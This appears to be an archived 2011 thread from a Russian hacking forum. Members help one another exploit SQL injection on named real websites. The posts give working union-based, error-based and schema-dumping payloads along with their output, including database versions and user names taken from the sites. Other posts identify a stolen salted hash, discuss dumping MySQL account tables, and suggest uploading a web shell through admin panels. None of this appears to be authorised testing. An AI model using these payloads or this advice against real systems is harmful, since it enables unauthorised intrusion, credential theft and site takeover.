ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
18.08.2011, 03:04
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Нарвался на одну интересную скулю.
Код:
Code:
http://sotchi-2014.info/content.php?id=1'
Пробовал сначала крутить через union, но скрипт грязно ругнулся
Код:
Code:
http://sotchi-2014.info/content.php?id=-999'+union+select+1+--+
The used SELECT statements have a different number of columns
В принципе я читал об объединение запросов и понимаю, что тут косяк в нессответствии столбцов при втором запросе.
Но опять же следующий запрос выводится корректно
Код:
Code:
http://sotchi-2014.info/content.php?id=-999'+order+by+1+--+ TRUE
http://sotchi-2014.info/content.php?id=-999'+order+by+2+--+ FALSE
Что навело на мысль, что колонка всё таки 1.
Далее попробовал крутануть через другой метод.
Код:
Code:
http://sotchi-2014.info/content.php?id=5'+or+1+group+by+concat((database()),floor(rand(0)*2))+having+min(0)+or+1+--+
БД, юзверя, и версию выводит корректно.
На попытку вывести что либо ещё ругается на СЕЛЕКТ.
Подскажите, каким путём докрутить данную скулю ? |
|
|
18.08.2011, 05:18
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от BigBear
BigBear said:
Нарвался на одну интересную скулю.
Код:
Code:
http://sotchi-2014.info/content.php?id=1'
Пробовал сначала крутить через union, но скрипт грязно ругнулся
Код:
Code:
http://sotchi-2014.info/content.php?id=-999'+union+select+1+--+
The used SELECT statements have a different number of columns
В принципе я читал об объединение запросов и понимаю, что тут косяк в нессответствии столбцов при втором запросе.
Но опять же следующий запрос выводится корректно
Код:
Code:
http://sotchi-2014.info/content.php?id=-999'+order+by+1+--+ TRUE
http://sotchi-2014.info/content.php?id=-999'+order+by+2+--+ FALSE
Что навело на мысль, что колонка всё таки 1.
Далее попробовал крутануть через другой метод.
Код:
Code:
http://sotchi-2014.info/content.php?id=5'+or+1+group+by+concat((database()),floor(rand(0)*2))+having+min(0)+or+1+--+
БД, юзверя, и версию выводит корректно.
На попытку вывести что либо ещё ругается на СЕЛЕКТ.
Подскажите, каким путём докрутить данную скулю ? Там просто двойной запрос.
Колонка 1 учавствует в еще одном запросе и поэтому там ошибка. Но вывод получить можно, вывод в TITLE:
http://sotchi-2014.info/content.php?id=175'+and+1=2+UNION+SELECT+version()--+
4.0.26-log- Sotchi-2014.info
P.S.:
В твоем запросе (http://sotchi-2014.info/content.php?id=-999'+union+select+1+--+) тоже есть вывод, посмотри внимательней на TITLE.
|
|
|
|
18.08.2011, 19:23
|
|
Guest
Сообщений: n/a
Провел на форуме:
60692
Репутация:
6
|
|
Код:
Code:
mtXSw0CTf154c3cdd36f52d364713cbb7a75f2e2
Что это? |
|
|
|
18.08.2011, 19:28
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от Kuteke
Kuteke said:
Код:
Code:
mtXSw0CTf154c3cdd36f52d364713cbb7a75f2e2
Что это? соль: mtXSw0CT
и хеш: f154c3cdd36f52d364713cbb7a75f2e2
|
|
|
|
18.08.2011, 20:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
0
Репутация:
5
|
|
слил с сайта инфу с таблицы mysql.такого типа Host User Password
как найти phpmyadmin? сканеры директорий не помогают
|
|
|
|
18.08.2011, 20:41
|
|
Guest
Сообщений: n/a
Провел на форуме:
195266
Репутация:
53
|
|
Смотри соседние сайты. Может найдёшь там. Посмотри базы, может проще через админку сайта/соседних сайтов залить шелл будет, чем искать пма и брутить пасс.
|
|
|
|
18.08.2011, 20:47
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от Boobby
Boobby said:
слил с сайта инфу с таблицы mysql.такого типа Host User Password
как найти phpmyadmin? сканеры директорий не помогают
его там может не быть, он может быть на другом хосте, папка может быть названа как угодно.
а в mysql.user лежат аккаунты базы, а не пма.
|
|
|
|
18.08.2011, 21:14
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
помогите с проблемкой!
Код:
Code:
http://bsgv.ru/ipo_calc.php?bc_tovar_id=2 && 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,select @n from (select @n:='',(select null from information_schema.columns where 0x1 in (@n:=concat(@n,0x7c,table_schema,0x3a,table_name,0x3a,column_name))))n,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151 #
но почемуто,не хочет выводить!
может подскажет кто какой запрос ещё ввести? |
|
|
|
18.08.2011, 21:23
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401
Репутация:
0
|
|
Сообщение от Faaax
Faaax said:
помогите с проблемкой!
Код:
Code:
http://bsgv.ru/ipo_calc.php?bc_tovar_id=2 && 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,select @n from (select @n:='',(select null from information_schema.columns where 0x1 in (@n:=concat(@n,0x7c,table_schema,0x3a,table_name,0x3a,column_name))))n,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151 #
но почемуто,не хочет выводить!
может подскажет кто какой запрос ещё ввести? там блайнд
|
|
|
|
18.08.2011, 21:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
Сообщение от d1v
d1v said:
там блайнд
там нет блайнда!
Код:
Code:
http://bsgv.ru/ipo_calc.php?bc_tovar_id=2%20%26%26%201%3D2%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2CCONCAT%280x6467797436%2CCONCAT_WS%280x203A20%2CVERSION%28%29%2CDATABASE%28%29%2CUSER%28%29%29%2C0x3566646B68%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%2C46%2C47%2C48%2C49%2C50%2C51%2C52%2C53%2C54%2C55%2C56%2C57%2C58%2C59%2C60%2C61%2C62%2C63%2C64%2C65%2C66%2C67%2C68%2C69%2C70%2C71%2C72%2C73%2C74%2C75%2C76%2C77%2C78%2C79%2C80%2C81%2C82%2C83%2C84%2C85%2C86%2C87%2C88%2C89%2C90%2C91%2C92%2C93%2C94%2C95%2C96%2C97%2C98%2C99%2C100%2C101%2C102%2C103%2C104%2C105%2C106%2C107%2C108%2C109%2C110%2C111%2C112%2C113%2C114%2C115%2C116%2C117%2C118%2C119%2C120%2C121%2C122%2C123%2C124%2C125%2C126%2C127%2C128%2C129%2C130%2C131%2C132%2C133%2C134%2C135%2C136%2C137%2C138%2C139%2C140%2C141%2C142%2C143%2C144%2C145%2C146%2C147%2C148%2C149%2C150%2C151%20%23
5.1.42-log : bsgv_base : bsgv_user@localhost
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
